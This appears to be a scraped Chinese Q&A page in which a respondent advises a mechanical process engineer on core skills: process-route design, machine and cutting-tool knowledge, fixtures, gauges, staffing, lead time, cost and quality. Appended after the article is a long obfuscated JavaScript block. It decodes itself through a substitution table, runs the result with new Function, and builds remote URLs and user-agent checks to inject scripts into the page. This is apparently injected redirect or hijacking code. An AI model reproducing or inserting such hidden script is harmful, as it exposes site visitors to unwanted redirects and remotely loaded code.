推荐回答(3个)
1、你说的这些工作正是机械加工工艺工程师的份儿内工作,感到很枯燥,很迷茫!是因为你并没有真正的踏下心来,其实细究起来,还有许多的工作要做,例如:在编制工艺卡片时,不是机械的照抄,而是细心体会该工序及工装是否合理?有无改进的余地?自己如何设计出简单易行的专用土工装?---这里边学问大了,因为保证产品的质量不能靠人工,要靠专用工装来保证,毕竟人的精力是有限的。
2、 建议:利用现在的有利条件,空闲时琢磨对工装进行小改小革,可先从简单的开始设计,而且在未成功之前不要张扬,以留后路。这对提高自己的设计能力、发展自己的前途方向方面,非常有利。
(1) 工艺流程设计能力
工艺流程是所有制造业产品生产的作业指导书,无论是飞机大炮,还是锅碗瓢盆,它们的生产都离不开产品工艺流程的指导和控制,对于一个企业或者车间的工艺工程师来说,设计和制定产品的生产工艺流程是其最基本、也是其最核心的技术能力。
同时一个产品的生产工艺流程也是其最核心的技术数据,现在制造业信息化中流行的工业大数据采集,大部分的数据来源就是产品生产的工艺流程,而且这些数据不仅和我们的产品质量息息相关,更和我们的产品生产成本、生产周期等有着极大的相关性,是一个企业最核心的数据资源,也是一个企业技术壁垒和护城河。
对于一个机械工艺工程师而言,面对不同的产品特性,制定不同的生产工艺流程,从而最大限度的提升产品质量,控制产品生产成本和生产周期是其最主要的工作所在。
当然要做好一个产品的生产工艺流程,并不是一件很简单的事情,这需要对产品的功能,设计原理,装配要求,材料性能,生产设备情况,生产刀具参数、质检标准与方法、人员调配与控制、生产周期安排与协调等等一系列问题都要具有全局性的掌握和深入,这也正是一个机械工艺工程师的核心技术能力所在。
但是这样的技术也有局限性,因为都是针对特定的行业或者企业中的特定产品来设计的工艺流程,所以其技术的通用性就会变得很单一,没有行业的普遍适应性,所以这也是很多机械工艺工程师一旦脱离当下的岗位后,很难在就业市场上找到匹配的岗位和薪酬,究其原因还是技术的局限性太高。
其实技术这种东西是灵活的,对于任何企业而言,没有最好的生产工艺流程,只有最适合的生产工艺流程,即使是生产同样的产品,也会因为设备,刀具,人员等等生产要素的变化而对生产工艺流程进行不同的调整,在这里并没有一个定式,这也是非常值得广大的机械工艺工程师们去思考和注意的地方。
(2) 生产设备的认知能力
生产设备,对于制造业而言,生产设备几乎是企业的第一生产要素,其重资产、长周期、低损耗的特性使得其成为产品的生产过程中最具价值的一环,特别是对于一个制造大国而言,生产设备的重要程度在很大程度上是优越于技术工程师的,这也是为什么我们国家的技术工程师不像欧美发达国家过得那么体面而又待遇丰厚的原因,因为在我们国家的企业中,技术工程师不是第一生产力,设备才是。
所以任何企业,对于设备的态度都是非常严肃而制度化的,对于一个机械工艺工程师而言,最大限度的了解你所在企业的设备情况,是你做好产品生产工艺流程的第一要务,因为你所有的生产流程都是基于设备的配备和使用情况来制定的,现代工业更是如此,生产设备我们可以从三个维度来评估其特性:
1) 设备的加工能力,设备的加工能力与设备的类型、结构和功能有很大的相关性,例如在机械加工行业经常使用到的车,铣,刨,磨,镗,钻等加工设备,他们就是分别针对零件加工过程中的车削加工,铣削加工,磨削加工,镗孔加工和钻孔加工等加工模式,一个合格的机械工艺工程师,在拿到产品的加工图纸后,可以迅速的根据图纸的要求,匹配好相应的加工设备,同时并初步设定加工设备的先后加工顺序,其实这就是一个基于加工设备的工艺流程定型过程。
2) 设备加工范围,这个维度主要是评价设备的加工尺寸的大小,例如我们同样是一台立式加工中心,但是其加工进给轴的行程是有大小的,如果行程太小,有的零件的加工就可能不能实现一次装夹完成,如果要进行二次装夹的话,那可能在加工精度上又无法保证,所以我们就需要转换加工设备,或者是变化加工设备的型号,所以设备的加工范围也在很大程度上限定了一个企业的生产加工能力。
3) 设备的加工精度,你必须对你们车间的加工设备的加工精度有非常好的了解,什么样的设备能够达到什么样的加工精度,尤其是根据图纸的要求来达到相应的加工精度,这个是非常重要的,否则你根本无法完成客户对你的加工质量的验收,如果机床的加工精度已经存在偏差,有经验的机械工艺工程师可以工具机床加工精度的偏差规律来调整工件的装夹方式,并通过分步加工和多次检测来实现对零件的有效加工,当然这种加工方式是特殊情况下的不得已而为之,对于有精度偏差的设备还是需要及时维修和保养才是王道,但是一个好的工艺工程师,一定是灵活多变的,不拘一格的,他们永远是零件加工过程的基石与信心所在,车间的工人只要看到他的身影就觉得有所依靠,就知道一切都在掌握之中。
(3) 生产刀具的认知能力
生产过程中,对于机械行业而言,加工刀具的选择与参数调试,是一个非常具有技术含量的工作,什么样的刀具应用于什么材料的加工,配备什么样的加工转速和进给速度,是否需要冷却,同时针对粗加工,半精加工和精加工等工序也要有相应的刀具和加工参数的变换,既要保证加工质量和加工效率,同时也要很好的兼顾加工成本,因为这始终是一个商业行为,不赚钱的经营是不道德的,刀具的选择是一门大学问,因为这和零件的制造成本息息相关,好的刀具不仅可以提升零件的加工质量和加工效率,更能有效的保证机床的稳定性和耐用度,同时有效的保证零件生产的周期,对刀具的合理选择是一个工艺工程师的基本功,也是一个工艺工程师的杀手锏,很大程度上这项技能是用钱喂出来的,因为只有经过大量的刀具实验和加工积累,才能形成自己的使用经验,其成本之高,周期之长,让人望而生畏,也让人肃然起敬。
同时随着时代的进步和科技的发展,现在的行业分工也越来越精细,特别是在工业行业,刀具就是其中一个很典型的领域,现在的刀具供应商,他们不再像过去那样只是单纯的推销他们的刀具产品,他们更多是倾向于推销他们的刀具解决方案,他们会针对你的产品加工要求特性,加工设备的配备,深入到企业生产的第一线来为企业提供刀具解决方案,所有的刀具测试,参数选择,成本计算与控制都是刀具供应商的服务范围,他们利用他们专业而全面的服务能力,为很多机械工艺能力不足的企业带来了更具有性价比的生产解决方案,这也受到了企业的普遍欢迎,当然这在一定程度上也削弱了机械工艺工程师的职场权重,但是从另一个侧面而言,这样也带来了更专业的学习机会,因为企业的机械工艺工程师始终是这些供应商团队无法绕开的对接人,所以如果你是从事机械工艺工程师这个岗位,一定要借助这样的专业培训机会来最大限度的提升自己的技术能力和专业认知,这是你进步速度最快,耗费成本最低的学习方式。
(4) 生产治具的认知能力
生产治具,这对于机械工艺工程师而言,是一个必备的技能,这里不仅牵涉到生产治具的选择和使用,更涉及到生产治具的设计与制作,特别是针对新产品的加工,新的治具研制是一个必不可少的技术环节,同时这也是机械工艺工程师极少数锻炼自己机械设计能力的环节。
对于一个机械工艺工程师而言,其技术的聚焦更多的在于工艺流程的设计与制定上,对于机械结构设计是很少有机会涉猎的,虽然在工作的过程中也会牵涉到很多产品图纸的审核与分析,但是要从一个产品的全局高度来研制一个东西,自行处理其结构和布局,还是一个比较新的尝试,所以一定要好好的把握这样的机会,同时这也是你以后实行机械研发工程师岗位转岗的最大经验所在。
生产加工治具的研制是产品加工过程中很关键的一环,它不仅可以在很大程度上提升产品加工的效率和质量,更可以拓展加工设备的加工范围和能力,缩短产品的生产周期和降低产品的加工成本,这是一个很具有技术含量的工作,虽然其技术应用的领域不宽广,但是对于一个企业来说,这样的技术是很实用的,非常具有特定领域的专用性。
其实随着科技的发展,现代加工过程中,很多治具的研制已经在慢慢的脱离传统的手工装卸的现状,逐渐的开始向自动化和智能化的方向过渡,很多治具的使用甚至已经被集成到了主机控制系统中,成为整个产品加工过程中非常智能化的一环,产品的装夹,校准和拆卸过程都是由主机控制系统通过程序来完成,它不仅很好的实现了产品的装夹功能,同时也通过各种感应开关实现了产品生产加工过程中的夹紧力的检测与报警功能,这对于工业4.0而言具有非常现实的运用意义,这也是机械工艺工程师需要与时俱进的地方,未来的技术发展是任何人都无法回避的现实。
(5) 生产检具的认知能力
生产加工过程中的检具,其实很多机械加工工艺工程师对检具的认知还停留在卡尺、百分表,千分表,三坐标等等常规的测量工具上,但是实际的生产现场,单纯的依靠这些标准的常规检具是很难实现对产品所有检测数据的检测的,所以很多时候我们会针对加工产品的结构和行为公差要求设计相应的检具来辅助测量。
例如加工零件中的空位检测,很多时候我们就会借助检验棒,轴套等专用检具来进行测量,这些专用检具都是针对零件的检测特点专门设计的,单独使用的检测工具,这样的检具设计也是非常考验一个机械工艺工程师的设计工艺能力的工作。
同时我们也需要看到,在制造加工行业,全新的在线测量模式和全自动话测量模式已经开始兴起,特别是结合自动化生产线一起实施的在线测量系统,其已经被集合成了自动化生产线中的一个工序来对加工产品进行加工精度的测量。
这种自动化、智能化的自动化测量不仅可以实施的判定零件的合格与否,更可以实现对测量数据的实时传送和采集,并对每个批次的产品形成具有极高价值的质量能力图表来协助生产过程的优化和改进,其实这一块应该是整个机械行业的机械工艺工程师的弱项,虽然现在还没有普及起来,但是这个大趋势是必然的,所以这也是科技发展对机械工艺工程师的一个挑战。
(6) 生产人员的调配能力
企业的生产人员,更准确的说就是生产工位上的工人,虽然机械行业的技术进步非常快速,但是大多数产品的生产依然有赖于生产工人的个人技术和工作态度的有机结合,这也是保证产品质量和周期的最有效能力,所以作为一个机械工艺工程师,在熟悉设备,刀具等生产要素的同时,千万不要忽略了生产工人这个活要素,什么样的人可以干什么程度的技术活,什么样的性格可以针对什么样的技术操作,这需要有非常好的把控。
在我们布局一个产品的生产工艺流程的时候,我们需要对这个产品工艺流程上的工人们的技术能力有一个非常清晰的认知,人是活的,这是生产力的最大优势,也是其最大的弊端,很多人把一件好事干砸了,也有很多人把一个难题化解了,对人的合理调配和使用不仅是一门技术,更是一门艺术。
在产品生产过程中,我们经常会碰到各种类型的产品,例如紧急的加工产品,重要的加工产品,非标的加工产品,常规的加工产品,这些产品都应该安排不同的人员去完成,并实现不同的生产效果,这也是一个机械工艺工程师实现自我蜕变的一个关键过程。
你在立足于技术的同时,是否能够在你的职业发展道路上再进一步,更上一层楼的关键所在就在对于人员的调配上,这不仅是一个讲究智商的地方,更是一个比拼情商的场所,一切都在于你自己的把握。
(7) 生产周期的把控能力
产品生产过程中,生产周期的把控其实很多时候已经超出了机械工艺工程师的范畴,这应该是生产主管领导的职责,但是要想获得一个高效率的生产周期,其关键的核心所在还是要归结到机械工艺工程师这个点上来,因为产品的生产周期和产品的加工工艺是息息相关的,只有配置高效的加工工艺流程才能实现高效的生产周期,所以对于一个合格的机械工艺工程师而言,针对产品工艺流程的设计和制定就需要在一定程度上基于加工的周期去做全局性的考虑。
其实产品的生产周期和产品的生产质量在一定程度上是存在博弈的,准确的说“又快又好”的产品生产是不存在的,“慢工出细活”无论在什么时候都是真理,因为一个产品的品控是一个非常复杂的过程,是一个综合性的机制协调工作,但是更短的产品生产周期在一定程度上就意味着缩减一些流程与工序,这也就存在着质量上的折扣问题。
所以如何去在生产周期和产品质量之间做一个合理的平衡,是一个机械工艺工程师的能力所在,我的建议是一定要从专业的角度出发,作为一个技术人,我们应该更多的偏重产品技术的可靠性和质量的稳定性来实施我们的工作,当然在这个基础上我们可以兼顾周期的协调。
(8) 生产成本的控制能力
产品生产的成本控制,曾经在行业内有一个公认的这里“产品的成本85%在设计,15%在生产”,从这论断来看,产品的生产过程似乎并不是产品成本的决定性要素,但是这句话基本上是针对新产品研发的过程来讲的,对于那些已经定型的常规产品,其成本的85%的决定权应该还是在生产,所以如何优化生产的工艺流程,就决定了产品的生产成本,进而也决定了产品的市场竞争力和产品的生命周期。
而能够决定一个产品的生产成本的人员,绝对是非机械工艺工程师莫属了,什么样的产品加工工艺流程,什么样的生产设备,配备什么样的刀具,选择什么样的治具等等,都决定了产品的生产成本,所以一个企业如果想在生产成本上有所节约,良好的机械工艺工程师队伍是不可或缺的要素,这也是机械工艺工程师最大的价值所在,是其最产生价值的环节。
(9) 生产质量的管理能力
产品的加工质量,其实这是一个结果,是你完成上面所有工作后的一个结果,而这个结果不仅是你完善自我技术的依据和基础,更是你突破自我,拓展自我的方向,我们也只有基于这个结果来实现对我们工作的一个评估和修正。
随着时代的发展和科技的进步,产品的质量已经被提上了越来越重要的位置,在经济高度发展的今天,我们选择一个商品不仅会关注其价格的高低,更会关注其质量的好坏,现在已经是一个质量为王的时代。
所以一个合格的机械工艺工程师,我们在设计和制定一个产品生产流程的同时,我们也应该学会关注产品的生产质量,以更专业的技术和更规范的制度去规范自己的产品工艺流程,以期实现产品生产的价值最大化。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();